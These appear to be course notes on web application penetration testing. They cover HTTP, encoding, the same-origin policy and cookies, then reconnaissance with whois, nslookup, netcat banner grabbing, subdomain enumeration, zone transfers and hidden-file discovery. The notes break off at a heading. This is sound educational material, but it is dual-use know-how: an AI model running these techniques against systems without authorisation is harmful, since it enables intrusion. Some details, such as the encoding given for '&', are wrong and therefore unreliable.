Introduction
- This module contains the required background information you will need before you begin your web application security testing
HTTP - Hypertext Transfer Protocol
- its a client-server protocol used to transfer web pages and web application data. The client is usually a web browser that starts a connection to a web server such as an MS IIS or Apache HTTP Server.
HTTP Request Headers
// the connection to www.google.com on port 80 is initiated before sending HTTP commands to the webserver
- The content of the request that we send when we open out web browser and navigate to google
Get / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 ...
Accept: text/html, application/xhtml+xml
Accept-Encoding: gzip, deflate
Connection: keep-alive
Line by Line Explanation
- Get - its the default request type (also known as an HTTP Verb) // other options: POST, PUT, DELETE, TRACE…
- the / is the home page of website
- the HTTP/1.1 is the http protocol version that your browser wants to talk with.
- Host = the host header allows a web server to host multiple websites on a single IP address.
- after each request header, you will find its corresponding value. In this case www.google.com
- User-Agent = reveals your browser version, operating system and language to the remote web server.
- Accept = its a header used by your browser to specify which document type is expected to be returned as a result.
- Accept-Encoding = similar to Accept, but it restricts the content codings that are acceptable in the response. Content codings are primarily used to allow a document to be compressed or transformed without losing the identity of its media type and without loss of information.
- keep-alive = indicates that all requests to the web server will continue to be sent through this connection without initiating a new connection every time (as in HTTP 1.0).
now lets inspect the webserver response
HTTP Response
HTTP/1.1 200 ok
Date: Fri, 13 mar 2015 ...
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
Content-Length: 258
< PAGE CONTENT>
Line by Line explanation
- The first line is the Status-Line, consisting of the protocol version (HTTP 1.1) followed by a numeric status code (200) ans its relative textual meaning (OK)
200 OK
301 Moved Permanently (assigned a new permanent URL
302 Found (temporarly under another URL
403 Forbidden (client does not have enough privileges and the server refuses to fulfill the request.)
404 Not Found (server cannot find a resource matching the request)
500 Internal Server Error (server does not support the functionality required to fulfill the request)
- Date = represents the date and time at which the message was originated
- Cache headers allow the Browser and the Server to agree about caching rules. Cached content save bandwidth, because in short, they prevent your browser from re-requesting content that has not changed.
- Content-Type = lets the client know how to interpret the body of the message
- Content-Encoding = extends Content-Type; In this case the message body is compressed with gzip.
- Server = displays the Web Server banner. Apache and IIS are common web servers. Google uses a custom webserver banner: gws ( Google Web Server )
-
Content-Length = indicates the length in bytes of the message body
→ moreover = http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.1
HTTP Header Field Definitions
To inspect the HTTP headers in web browsers: Firefox: 1. options menu 2. Developer > Network
- by selecting any request or response from the list, a new panel appears on the right and we are able to inspect information such as headers, cookies, parameters and so on.
HTTPS
- HTTP content, as in every clear-text protocol, can be easily intercepted or mangled by an attacker on the way to its destination. Moreover, HTTP does not provide strong authentication between the two communicating parties.
- HTTP Secure (HTTPS) or HTTP over SSL/TLS is a method to run HTTP, which is a clear-text protocol, over SSL/TLS, a cryptographic protocol.
- This layering technique provides confidentiality, integrity protection and authentication to the HTTP protocol.
- In other words: An attacker on the path cannot sniff the application layer communication An attacker on the path cannot alter the application layer data The client can tell the real identity of the server and, sometimes vice-versa.
The extra encryption layer protects data exchanged between the client and the server. It does not protect from an attack against the application itself. Attacks such as XSS and SQL injections will still work.
Encoding
- Often invisible to end users, occurs each time an application needs to process any data.
Charset
- A charset consists of pairs of symbols and code points.
- The symbol is what user reads, as he sees it on the screen. The code point is a numeric index, used to distinguish, unambiguously, the symbol within the charset. A symbol can be shown only if it exists on the charset.
- Example:
ASCII
Unicode
Latin-1
and so on.
ASCII
- American Standard Code For Information Interchange contains a small set of symbols.
- total of 255. its old, it was designed to support only US symbols.
-
For example, ASCII cannot be used to display Chinese symbols, among many others.
- Complete list: http://www.ascii-code.com/
Unicode
- Universal Charecter Set
- it supports all the worlds writing systems.
→ Complete list: http://unicode-table.com/en/#0032
Character encoding
- Is the representation in bytes of the symbols of a charset: a mapping of the symbols to a series of ordered bytes so that your data can get to you.
- A symbol can be represented by using one or more bytes.
Unicode Encoding
- Unicode has three main types of implementation of character encoding: UTF-8, UTF-16 and UTF-32, where UTF stands For Unicode Transformation Format.
- 8,16 and 32 are the amount of bits used to represents code points.
HTML Encoding
- There is two main issues to address:
- Inform the user agent on which character encoding is going to be used in the document, and preserve the real meaning of some characters that have special significance.
- Documents transmitted via HTTP can send a charset parameter in the header to specify the character encoding of the document sent.
- If not defined, the default is Latin-1.
- If the charset is set incorrenctly, it may not display some symbols.
HTML Entities
- In HTML, There are many characters (symbols) with special meanings.
Example: <> means the start and end of a HTML tag.
- If you want o show that in the browser, you want to avoid the symbols of being interpreted. Then, its necessary to use the related entities.
- HTML entity its a string that correponds with a symbol. It start with & or &# and ends with ;
// There is multiple ways to represent character references:
Char Reference | Rule | Encoded Char |
Named Entity | ** & + named char references + ; ** | &It; |
Numeric Decimal | ** & + # + D + ; ** | < |
Numeric Hexa | ** & + #x + H +; ** | < / < |
Although the primary purpose of HTML entities is not to be a security feature, its use can limit most client side attacks (IE: XSS).
URL Encoding (Percent encoding)
- URLs sent over the internet must contain characters in the range of the US-ASCII code character set. If unsafe characters are present in a URL, encoding them is required.
- This encoding is important because it limits the characters to be used in a URL to a subset of specific characters:
1. Unreserved Chars: [a-zA-Z] [0-9] [-._~]
2. Reserved Chards: :/?#[]!$""()*+,;=% (they have a specific purpose)
Others chars are encoded by the use of a percent char (%) plus two hexadecimal digits.
- Common encoded characters:
Char | Purpose in URL | Encoding |
# | Separate anchors | %23 |
? | Separate query string | %3F |
& | Separate query elements | %24 |
+ | indicates a space | %2B |
- When you visit a site, URL-encoding is performed automatically by your browser. This happens behind the scenes of your browser while you surf. → http://www.w3schools.com/tags/ref_urlencode.asp
Generally, web browser (and other client-side components) automatically perform URL-encoding, and if a server-side script engine is present, it will automatically perform URL-decoding.
Base64
- its a binary-to-text encoding schema used to convert binary files and send them over Internet.
- The HTML language permits the inclusion of some resources by using this encoding.
Base64 is composed of [0-9] [a-zA-Z] [ * / ]
and (=) used For padding
Same Origin Policy (SOP)
- This policy prevents a script or a document from getting or setting properties of another document that comes from a different origin.
- Note: CSS stylesheets, images and scripts are loaded by the browser without consulting the policy.
- SOP is consulted when cross-site HTTP requests are initiated from within client side scripts (IE: JavaScript), or when an Ajax request is run.
- The origin is defined by: Protocol - Host - Port
-
example: http://www.teste.site
- // protocol = http
- // host = teste.site
- // in this example, site is the top-level domain (TLD)
- // the teste is the second-level domain (SLD) = subdomain of site
- // www is the third level domain = subdomain of teste
- // and so on
- // port = 80, when not specified, the default port is always 80
The primary purpose of SOP is to isolate requests coming from differente origins.
Internet Explorer does not consider the port as a component to the SOP The SOP is not applied to domains that are in highly trusted zone (i.e corporate domains)
Main Rule of SOP
- A document can access (through JavaScript) the properties of another document only if they have the same origin
- More precisely, the browser always performs the request successfully but it returns the response to the user only if the SOP is respected.
- Images, .css, .js are excluded from the previous statement; they are always accessible regardless their origin, and the browser loads them without consulting SOP.
4 Exceptions to SOP restrictions
Window.location:
- A document can always write the location property of another document.
- The window.Location object can be used to get the current page address and to redirect the browser to a new page.
- the location property can always be changed. But its the SOP that determines whether a new document can be loaded.
-
A doc can always update the location property of another document, if they have some relationship.
- if a document is embedded within another via an iframe element,
- if one document is opened by the other via the window.open DOM API.
Document.domain:
- related to the DOM property
- This property describes the domain portion of the origin of the current document.
- by changing the document.domain property, a document slightly changes its own origin.
- imagine two diferents origins of the domain a.teste.site and b.teste.site
- the JavaScript cant access the main document cause the origin is differente (SOP rule)
- but if both subdomains run the (document.domain =”teste.site”), now they can run JavaScript, because its considered that they have the same origin
Cross Window Messaging
- The new HTML5 feature permits different documents (iframes, popups, and current window) to communicate with each other regardless of the SOP by using a simple synchronus mechanism.
Cross Origin Resource Sharing
- its a set of specs built to allow a browser to access a few resources by bypassing the same origin policy (SOP). The CORS architecture uses custom HTTP response headers and relies upon server-side components or server-side scripting languages.
- This also will be dealt with in-depth in the HTML5 module.
Cookies
- HTTP itself is a stateless protocol. This means that a website cannot retain the state of your visit between different HTTP request without mechanisms such as sessions or cookies. To the server, each visit, without a session or a cookie, looks like a new user.
- So cookie were invented to make HTTP stateful.
- Cookies are textual information installed by a website into a ‘cookie jar’ of the web browser.
- There are fragments of text containing variables in the form of name=value.
- A server can set a cookie via the Set-Cookie and has this format:
domain
expires / path
content / http only flag / secure flag
Domain: The browser will install the cookie in the cookie jar and will send this cookie For any subsequent request to any subdomain. example: google.com / www.google.com / maps.google.com The scope of this cookie will be ‘*.google.com’ - A leading ., if present is ignored - if the server does not specify the domain attribute, the browser will automatically set the domain as the server domain and set the cookies host-only flag. This means that the cookie will be sent only to that precise hostname.
Expires: Gives the cookie a time constraint. THe cookie will only be sent to the server if it has not expired. Session cookies expire when the session exits.
Path: specifies For which requests, within that domain, the browser needs to send the cookie. example: path=/downloads
-
/downloads
-
/downloads/foo
-
/downloads/foo/bar
The browser will not send this cookie For request to /blog or /members etc
Content: A cookie can carry a number of values at once. with KEY=Value pairs. example: - Set-Cookie: Username=”john”; Authenticated=”1”
HttpOnly Flag: Is used to force the browser to send the cookie only through HTTP. This flag prevents the cookie from being read via JavaScript, Flash, Java or any other non-HTML technology; This protection mechanism against cookie stealing via XSS.
Segure Flag: Forces the browser to send the cookie only through HTTPS (SSL); This prevents the cookie from being sent in clear text.
Cookie Domain
- Together with the path, secure and expires attributes, its useful during the process in determining if a cookie must be submitted along with a new HTTP request.
- moreover = http://tools.ietf.org/html/rfc6265
- As opposed to the previous RFC, the leading dot (.) has no particular significance.
- example: .teste.site / teste.site
Specified Cookie Domain
- A cookie with a domain value specified will be sent by the browser when one of the following conditions occurs:
Cookie domain value = Target domain
Cookie domain value is different from the target domain and Cookie domain value is a suffix of the target domain.
- lower-level subdomain can set cookies For higher domains. So, b.a.teste.site can set a cookie For a.teste.site or teste.site
- On the other hand, higher domains cannot set cookie For lower-level subdomains; Meaning, teste.site cannot set cookies For any.teste.site
Unspecified cookie Domain
- When a cookie does not contain a domain value, its assumed that the host-only-flag is set to true.
- A cookie set with host-only flag will be sent only to the target domain.
- RFC used the term host instead of domain
-
If a page on the target domain teste.site sets a cookie without the domain value, the browser will send this cookie only in HTTP requests that exactly match the following URLs:
http[s]://teste.site/*
Internet Explorer Exception
- Internet Explorer does not distinguish between cookie with a specified domain value and ones with unspecified values.
- Cookies with unspecified domain values will be interpreted by the browser as if they had a domain value corresponding to the target domain set in it.
Example:
A page on the target domain teste.site sets a cookie without a domain value. IE differs from other browsers, and will consider sending this cookie as if its domain value was set to teste.site therefore, it will send this cookie in HTTP requests that match the following:
http[s]://*.teste.site/*
Inspecting the Cookie Protocol
Login:
A login page is a great place For a session to begin and also a good point at which a cookie is installed in your browser. Web Browser > www.google.com
POST /login.php
Host: www.google.com
usr=John&Pass=mypass
Set-Cookie:
The website responds with a Set-Cookie response header. This header contains the cookie to be installed in the browser and to be included in all subsequent requests to www.google.com Web Browser < www.google.com
HTTP /1.1 200OK
...
Set-Cookie: domain=google.com; path=/; expires=espires=Mon; 16-Apr-2013 19:03:22 GMT; authenticated='1'; httponly; secure;
<PAGE CONTENT>
Cookie:
For every subsequent request, the browser will consider: Domain scope, Path, Expiration, Flags. If all the above checks out, a cookie header that contains the cookie will be inserted into the Request Header.
Web Browser < www.google.com
GET /mail.php
Host: www.google.com
Cookie=authenticated="1";
Session
- Sometimes the web developer prefers to store information on the server side instead of the client side.
- This happens in order to hide the application logic or just to avoid the back and forth data transmission, which is the typical behavior of cookies.
- HTTP sessions are a simple mechanism that allows websites to store variables, specific For a given visit, on the server side.
- Each user session is identified by either a session ID or token, which the server assigns to the client.
- Cookie = stores on the client
- Session = stores on the server
-
Usually session expires sooner than cookies do.
-
The session mechanism works through the use of a session token (or session ID)
→ The session ID is assigned to the client by the webserver
→ The client will present this ID For each subsequent request in order to be recognized
- The session ID is like a primary key in a relational database where clients variables are stored.
- Sessions IDs can be stored within text files, databases or memory on the server.
Session Cookies contain a single parameter formatted in a key value pair.
SESSION=<number>
PHPSESSID=<number>
JSESSIONID=<number>
-
Websites running PHP, typically install session cookies by using PHPSESSID parameter name while JSP websites use JSESSIONID;
- each development language has its own default session parameter name and typically allow For developers to customize its functionality (ie: changing PHPSESSID to PSESSID)
-
Server can install session cookies after a browser performs some type of activity, such as: Opening a specific page. Changing settings in the web application Logging in
- The client uses a login form to POST the users credentials
- The server sends back a response with a Set-Cookie header field. The cookie contains the session ID
-
The browser will send back the cookie according to the cookie protocol, thus sending the session ID
- Since the web browser has a cookie in its jar, any subsequent request will carry the session cookie with it.
- As an alternative to session cookies, session IDs can also be sent via the GET method appended to the requesting URL.
Web Application Proxies
- An intercepting proxy is a tool that lets you analyze and modify any request and any response exchanged between an HTTP client and a server.
- By intercepting HTTP messages a pentester can study a web application behavior and manually test For vulnerabilities.
-
The most common web application proxies are:
→ Burp Suite = http://portswigger.net/burp/download.html
→ Zap
Burp:
Intercept requests and responses between your browser and the web server
Build requests manually
Crawl a website, by automatically visiting every page in a website
Fuzz web applications, by sending patterns of valid and invalid inputs to test their behavior
To run on another operating system:
java -jar burpsuite_free_v1.6.jar
- Set the proxy and port in both burp and browser
- You can check what Burp has collected in two ways:
on the Proxy > History tab
in the Target > Site Map tab
Information Gathering
Gather Information on Your Targets
- Information Gathering is the very first and most critical step of every penetration test
- Most pentesting jobs are black-box tests (external)
-
Everything you collect should be noted For future use. It will become useful in both understanding application logic and during the attack phase.
- What sorts of information are we going after?
Infrastructure (Web Server, CMS, Database, ...)
Application Logic
IPs, Domains and Subdomains
VIrtual Hosts
Finding Owner, IP Addresses and Emails
- The first step of information gathering usually starts aways from the orgnizations network. It begins with their electronic footprint, not just of their employees, but also of their network and websites.
WHOIS
- The Whois database contains public information, so you can freely check it.
- its used to look up domain ownership details from differents databases. Normally runs on TCP port 43.
- Can be used in *nix or Windows via SysInternal : http://technet.microsoft.com/en-us/sysinternals/bb897435.aspx
→ Also via web: http://whois.domaintools.com/
DNS
- Domain Name System. We can query it For some of the IP addresses that we received from the WHOIS database.
- The DNS structure contains a hierarchy of names. The root, or highest level of the system is unnamed.
- Top Level Domains (TLDs) are divided into classes based on rules that have evolved over time. Most TLDs have been delefated to individual country managers, whose codes are assigned from a table known as ISO-3166-1. These are maintained by an agency of the United Nations and are called country-code Top Level Domains, or ccTLDs. (ex: .us, .uk, .il, .de, .fi, .fr, .br)
-
In addition, there are a limited number of generic Top Level Domains (gTLDs) which do not have a geographic or country designation. (ex: .com, .org, .net, .gov, .edu)
- DNS queries produce listing called Resource Records.
Resource Record
TTL / Record Class
SOA / NS / A / PTR / CNAME / MX
- Resource record starts with a domain name, usually a fully qualified domain name. If anything other than a fully qualified domain name is used, the name of the zone the record is in, will automatically be appended to the end of the name.
- TTL (Time-To-Live), in seconds, defaults to the minimum value determined in the SOA record.
- Record Class - Internet, Hesiod, or Chaos
- SOA (Start of Authority) indicates the beggining of a zone and it should occur first in a zone file. There can be only one SOA record per zone. It defines certain values For the zone such as a serial number and various expiration timeouts.
- NS (Name Server) Defines an authoritative name server For a zone. It defines and delegates authority to a name server For a child zone. NS Records are the GLUE that binds the distributed database together.
- A (Address). The A record simply maps a hostname to an IP address. Zones with A records are called forward zones.
- PTR (Pointer). The PTR record maps an IP address to a Hostname. Zones with PTR records are called reverse zones.
- CNAME record maps an alias hostname to an A record hostname.
-
MX (Mail Exchange). The MX record specifies a host that will accept email on behalf of a given host. The specified host has an associated priority value. A single host may have multiple MX records. The records For a specific host make up a prioritized list.
- The domain name system (DNS) is a distributed database arranged hierarchically. Its purpose is to provide a layer of abstraction between Internet services (web, email, etc.) and the numeric addresses (IP addresses) used to uniquely identify any given machine on the Internet.
- It permits the use of names instead of numbers to identify hosts
- Names are easier to remember
- It permits a server to change numeric addresses without requiring notification of everyone on the Internet, by simply pointing the name to the new numeric address.
- One name can refer to multiple hosts, to share the load.
NSLOOKUP
-
it lets you translate hostnames to IP addresses and vice versa.
-
Reverse Lookup AKA A. If you provide a domain name, DNS returns the IP addresses For the matching hosts.
nslookup -type=PTR <ip>
- Records it will query the DNS server For the whole record associated with google.com (name servers, cnames, A records, and MX)
nslookup -querytype=ANY google.com
- An organization can purchase a block of IP addresses according to their needs and it will own that entire block.
- The WHOIS database tracks the owners of public IP addresses as well as domains names.
- Sometimes, organizations are not actually the owners of the IP addresses they use For their presence on the internet. They may rely on ISPs and hosting companies that lease one or more smaller netblocks.
- Finding the netblock owner and the ISPs that our target organization relies on, is an important step that we will study.
Finding Target ISP’s
- We want to know which ISPs hosting and IP addresses our target uses.
- Using nslookup we get the IP addresses associated to each subdomain. We will perform a whois request For each of these IP addresses to uncover the ISPs that these IP addresses belong to.
- note: When the organization is big, net-blocks may be assigned directly to it, so no Hosting services are involved.
- note2: A corporation is not limited to having only one hosting company.
Step 1 - nslookup
- The first step is to gather all the IP addresses related to a domain or subdomain.
nslookup statcounter.com
// store these two IP addresses
- Continuing to perform a per-subdomain ip survey, we move on to www.statcounter.com.
nslookup www.statcounter.com
// store the new IP addresses
we can continue this survey against all of the organizations domains and subdomains. For now we will stop and start our ISP recognition phase.
Step 2 - whois
- We will uncover the ISPs that our organization relies upon.
→ http://whois.arin.net/rest/net/NET-108-162-192-0-1/pft
→ http://whois.domaintools.com/
→ https://apps.db.ripe.net/search/query.html
// start querying the IP addresses we have. // grab the organization name, netblock, other information that you found useful // At the end of this process, we can build a table with all the IP addresses used by the organization and the ISP/Hosting services that these IP addresses belong to.
To perform a thorough pentest, this information must be included in your penetration testing documentation. This information will become useful when mapping the attack surface.
NetCraft
- A faster way to uncover the organization hosting scheme and ownership is by using NetCraft.
- Netcraft has a wealth of information For us and we will use it often in this module.
→ http://www.netcraft.com/
Infrastructure
- The infrastructure behind a web application is what supports it and allows it to function.
- This includes the web server that is directly involved in the execution of any web application.
-
The two most common web servers used on the internet today are Apache and Microsoft IIS.
- Discovering an IIS (Internet Information Service) web server will tip us off that the server is running an OS in the Windows Server OS family.
- IIS version 6.0 is installed by default on all Windows Server 2003 boxes, Windows server 2008 supports IIS 7 and Windows Server 2012 is the only one to support IIS 8.0.
- However, Linux may run different versions of the Apache Web Server.
Fingerprinting The Webserver
- IIS components, usually called ISAPI extensions, work as dynamic libraries, extending the functionalities of the web server and performing different tasks For the web server.
→ These include: URL rewriting, load balancing, script engines (like PHP, Python or Perl) and many others.
-
IDS is a web application firewall that detects and prevents intrusions coming from the HTTP/S protocol.
- via HTTP request, sometimes we receive the server name and version in the response
- For the version we can use NetCraft.
- Netcraft its very useful not only For this web server fingerprinting step but also, For subsequent steps like collecting all available subdomains For a domain.
- Its not uncommon to find corporations or even small businesses using load balancers that route HTTP request to different servers that may even run different web server versions.
- The advice here is to take note of all web server version-to-IP couplets For further use.
nslookup -type=NS microsoft.com
- The nameserver is the DNS server that replies to all lookup queries regarding the namespace of a domain.
- In addition to web server version, IP addresses and Nameservers, Netcraft provides the following information we can capture:
Server version
Uptime stats
IP address owner
Host provider
- There are cases where Netcraft cannot be used, such as with internal web servers that are not attached to internet.
- In this case we can use manual testing techniques:
netcat
httprint
whatweb - https://github.com/urbanadventurer/WhatWeb
wappalyzer - https://wappalyzer.com/
Netcat
By using Netcat we can establish a connection to the Web Server and look at the Server field in the HTTP response header:
nc 192.168.102.136 80
HEAD / HTTP/1.0
-
First establish the connection, then we have to send HEAD / HTTP/1.0 // From the response we can see that we are running Apache version 2.2.22 on Linux OS
-
Beyond the Server header we should also look at the X-Powered-By header, which may reveal the technology behind the Web Application. // Possible values:
ASP.NET
PHP, JSP
JBoss
etc
- We can potentially guess the web server by inspecting the cookie header. Here is a short list of what you may encounter:
PHP = PHPSESSID=xxxxx
.NET = ASPSESSIONIDYYYY=xxxxx
JAVA = JSESSION=xxxxx
- There may be many different result outputs depending on the service running on the machine, the version, Operating System and so on.
- More examples here:
→ https://www.owasp.org/index.php/Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)
→ https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008)
WhatWeb
→ https://github.com/urbanadventurer/WhatWeb
- Tool that can be used to recognize website technologies, web server versions, blogging platforms, JavaScript libraries and much more.
whatweb -v <url>
Wappalyzer
→ https://wappalyzer.com/download
- Its a Firefox/Chrome extension, we can use directly from the browser
Fingerprinting Webserver Modules
- Modules we are looking For are ISAPI modules (For IIS) or Apache modules that may interfere with or alter our test results.
- When a user requests read_doc.php?id=100 the server side module om charge of translating the URL will use regular expressions to match a Rewrite rule and will translate the URL according to the rules specified by the administrator.
- URL rewriting is done on Apache with the mod_rewrite module or .htaccess
- On IIS it is handled by Ionic Isapi Rewrite or Helicon Isapi Rewrite
-
Its easy to recognize, and we can attempt input validation attacks
- Not having the real URL, and only the rewritten URL, will make it much more difficult For a pentester to try these attacks on URLs. However, still be possible to carry malformed payload using other input channels such as: forms, cookies and headers.
- Input validation attacks are still possible if you can reverse-engineer the translation rules.
Enumerating Subdomains
- The enumeration starts by mapping all available subdomains within a domain name.
- There are lots of ways to enumerate subdomains:
Netcraft
Google
Crawling / Brute Force
Tools
Zone transfers
Netcraft = http://searchdns.netcraft.com/
- In order to list all the subdomains of a specific target we need to select subdomain matches from the dropdown menu and type in our string:
*.domain.com
To get more information, just lick on the Site Report icon.
- http://www.googleguide.com/advanced_operators_reference.html
site:.domain.com
site:.domain.com -inurl:www. or site:.domain.com -site:www.domain.com
- Now we can continue tweaking our search query by removing the new subdomains found. So we will keep adding -site or -inurl until we find all the subdomains:
site:.domain.com -site:subdomain1.www.domain.com -site:subdomain2.domain.com -inurl:subdomain3.domain.com
Tools
- dnsrecon = https://github.com/darkoperator/dnsrecon
- subbrute = https://github.com/TheRook/subbrute
- fierce = https://github.com/davidpepper/fierce-domain-scanner
- nmap = http://nmap.org/book/man-host-discovery.html
- dnsenum = https://code.google.com/p/dnsenum/downloads/list
- knock = https://github.com/guelfoweb/knock
- theHarvester = https://github.com/laramies/theHarvester
- recon-ng = https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Usage%20Guide
Examples:
python subbrute.py microsoft.com
python subbrute.py -h -s <wordlist of your choice>
dnsrecon -d microsoft.com -g
-g = perform Google enumeration
theharvester -d microsoft.com -b google -l 200 -f /root/Desktop/msresults.html
-d = domain // -l = limit the results // -b = data source (bing, google, linkedin, pgp, all, etc)
-f = output to HTML or XML file
theharvester -d domain.com -b linkedin -l 200
Zone Transfer
- A zone transfer is the term used to refer to the process by which the contents of a DNS Zone file are copied from a primary DNS server to a secondary DNS server
- Zone Transfers are usually the result of a misconfiguration of the remote DNS server. They should be enabled (if required) only For trusted IP addresses.
Windows:
nslookup -type=NS domain.com
nslookup > ls -d domain.com
Linux:
dig @nameserver axfr domain.com
nameserver is a nameserver For domain.com
axfr is the mnemonic opcode For the DNS zone transfer
Finding Virtual Hosts
- A virtual host is simply a website that shares an IP address with one or more other virtual hosts.
- These hosts are domain and subdomains
- This is very common is a shared hosting environment where a multitude of websites share the same server/IP address
fierce -dns domain.com
keep track of your tracks with a mind map
Fingerprint Frameworks and Applications
- Once we have a list of subdomains, we will apply the techniques that follow in this module to all of them.
- We will basically start looking at the webpages running on each of the subdomains we have found.
- Common applications may be:
Forums (like phpBB, vBulletin)
CMSs (like Joomla or Drupal)
CRMs, blogging platforms (like WordPress or Movable types)
social networking scripts and a number of other applications
- Web scripts are available online at sites like: http://www.hotscripts.com/
- Almost all of these frelly available applications suffered from some kind of vulnerability in their history
- We need the exact version in order to look For a working exploit online.
- Sometimes its as easy as looking For the applications name in the web page content
- In other cases, we need to look at the web page source; the name and version is usually included in HTML comments or even in the HTTP headers.
-
Just using Telnet, Burp suite, web browsers or any other way that will let us read the raw response, headers will reveal useful information about the website; this includes the CMS running on it.
- Moreover, remember that response headers may give other valuable information such as PHP version, exact web server version and modules installed.
-
We may need to read the web page source code and look For information in the META tags and in HTML comments.
- CMSs are available online For free or licensed commercially. like Joomla, Drupal or Mambo
- The Add-ons of these applications are usually poorly coded and contain vulnerabilities
- While the core parts of these projects are usually built following the best practices of secure coding, thousands of free-to-use extensions are coded by amateurs, and most of the time, these are affected by many different web application vulnerabilities.
- example: Joomla URLs consist of 3 main parts:
index.php?option=%component_name%&task=%task_value%
// index.php os the only script you will ever see on Joomla. Its in charge of loading the specified component passed in, via the option parameter. // More tasks and arguments are passed to that component with subsequent parameters.
- Docman, document manager component:
index.php?option=com_docman&task=doc_view&gid=100
// Here we are loading the Docman add-on, declaring that we want to view the document with id=100.
In our Information Gathering process, we will not only list all the common applications in use, but also, all the third party add-ons in use in that application. These will likely be useful For our penetration tasks later on.
Firgerprinting Custom Applications
- Our first step in this case will be to consider the overall scope of the application:
What is it For?
Does it allow user registration?
Does it have an administration panel?
Does it take input from the user?
What kind of input?
Does it accept file uploads?
Does it use JavaScript or Ajax or Flash? And so on.
These questions can be answered by just visiting the website and taking notes of anything we come across in the process.
-
Spidering (or crawling) the application is addressed at a later stage, but valuable in this case.
-
Browser the application with a proxy in the middle of our requests, collecting all the headers and responses.
We can use Burp to do that.
Creating A Funciontla Graph
Advice: Study the whole target behavior, then split the tests in smaller tasks and take care of each one.
Study the target
in this phase you would use the web browser to study the target under the behavioral point of view. No technical analysis is involved. This purpose of this phase is to recognize the blocks by which the target website is made of.
- The following questions should help guide you:
What is the purpose of the website/web application?
- Sell online?
- Corporate online presence?
- Blogging?
What seems to be the core of the website?
- Selling products?
- Do they sell memberships? digital contents?
Does it require a login to perform certain actions?
What are the main areas of the website?
- Blogs?
eCommerce area?
Study the Blocks
- Now we will repeat our process For each block more closely
- Any block uses a third-party application (we will change the shape of the block if so and note the kind of application)
- Any block can only be accessed through the login (we will create a first path using arrows)
Functional Graph
- The goal of the functional Graph is to visually spot important information at a glance.
-
We will use this functional graph as a basis For further charting of our information and prepare it For the testing part.
- For each smaller part of the application, we will add notes and comments including (but not limited to):
- Client side logic (usually JavaScript code in use)
- Flash applications
- cookies (a new cookie may be set when browsing this area of the website)
- authorization required
- forms and so on
Mapping the Attack Surface
- The attack surface is the area of the application in which we will focus all of our security testing efforts.
- The more we know about our target web application, the wider the attack surface will be.
- Use the suggested graphing techniques or create one you are comfortable with and stick with it.
Client Side Validation
- User submitted data through web forms can be validated on the client side, server side or both.
- Recognizing where the validation occurs will allow us to manipulate the input in order to mount our input validation attacks like SQL injection, XSS or general logical flaws.
- We can reveal the presence of client side validation by inspecting the web page source code and looking at the JavaScript functions triggered upon form submittal.
- We can use firebug to inspect the web page source code.
Database Interaction
- Detecting database interaction will allow us to look For SQL injection vulnerabilities in the testing phase.
- By database interaction, we mean that the user input changes the appearance of the page because either different data is fetched from the database or, new data is added.
- This hints that the SQL queries are generated from our input and if the input is not properly sanitatized, may result in SQL injections.
File Uploading and Downloading
- Its not uncommon to encounter web pages providing dynamic downloads according to a parameter provided by the user.
example: www.example.com/download.php?file=document.pdf
This can lead to RFI and LFI vulnerabilities
Display of User Supplied Data
- This is one of the most common features in a dynamic website
- Will bring us to: XSS - Cross Site Scripting
Redirections
- Redirections are server side or client side directives to automatically forward the visitor of a web page to another web page.
- From the server side perspective the server can issue two different HTTP Response codes to make a redirect: 301 or 302.
- Just remember: code 3xx stands For redirect
- From the client perspective, the redirection is handled by the web browser. It recognizes the 3xx HTTP Response code and makes a request to the page contained in the Location header.
- The meta HTML tags are used to add metadata information to a web page. This data is usually read by search engines to better index the web page.
- Finding redirects is an important part of our attack surface as HTTP response splitting and other Header manipulation attacks can be performed when redirects are not handled properly.
Access Controls and Login Protected Pages
- Logins pages will reveal the presence of restricted access areas of the site.
- We will employ authentication bypass techniques as well as password brute forcing to test the security of the authentication routines in place.
Error Messages
- We will collect all the errors we may encounter while browsing it.
Charting
- We must keep all our information well organized.
- This will let us spot the attack surface and perform our test in a much easier and scientific manner
-
We advise to add the information found For each block visually.
- During the procces of mapping the attack surface, we have introduced two alternative charting techniques:
- tree-based = its good if there are just a few blocks.
- table-based = We can use in our testing phase, where a test For given vulnerability will be triggered by a V in the table.
Enumerating Resources
- In this step:
subdomains
website structure
hidden files
configuration files
any additional information leaked because of misconfiguration
Crawling The Website
- Crawling a website is the process of browsing a website in a methodical or automated manner to enumerate all the resources encountered along the way.
- A crawler finds files and folders on a website because these appear in web page links, comments or forms.
- We can use Burp: Target tab > Scope subtab to set up our scope set the proxy Spider tab > spider is running go to the website right-click on the host and click spider this host or enable the spider and start browsing the web app from our browser By right-click on any crawled web page, we will be able to send it to the Intruder to fuzz it, or to Repeater - to manually alter the request in our tests.
Finding Hidden Files
- These files are the most importante source of information we can find and include: backup files, configuration files and a number of other resources that are very useful For our audit.
- DirBuster is a mature OWASP project that allows us to crawl a website and also mount a dictionary or brute force discovery attack on the remote file system by probing each call and identifying a correct guess through the HTTP response code or web page content (in case the website used a custom 404 page.)
- We need to pay particular attention to files and folders that were not retrieved by Burp Proxy Spider.
Back Up and Source Code FIle
- Looking For backup files and source code files left on a server in an often-overlooked step in the information gathering process that we will take seriously as it can give us not only useful information but also, sometimes, complete access to the organizations assets.
- A web server is instructed to treat special file extentions as cgi files, where the source code is interpreted and not relayed to the client.
- When the extention is altered For backup or maintenance purposes, we are often given the application logic and if we are lucky enough, credentials to access the databases connected to that application.
- such common, disgraced practices, involve renaming the extension in php.bak or asp.bak For example.
-
Append common backup extensions like .bak, _bak or 01 etc, in the burp For every file found by our crawlers.
- list of backup files extensions:
bak
bac
old
000
~
01
001
_bak
inc // stands For include, check their presence especially when the site uses ASP as the server-side script
Xxx
Enumerating Users Accounts
- A badly designed system can reveal sensitive information even if wrong credentials have been inserted.
- A web application could reveal information about the existence of a user.
- While determining valid usernames is something not considered as a serious threat, usernames are half of what is needed to login.
- Applications may reveal too much information, that can make an intruders life easier by making it possible to enumerate the users.
Relevant Information Through Misconfigurations
- A quick and very common way to gather information, files, source code and misconfigurations is by looking For open directory listings.
Directory Listing
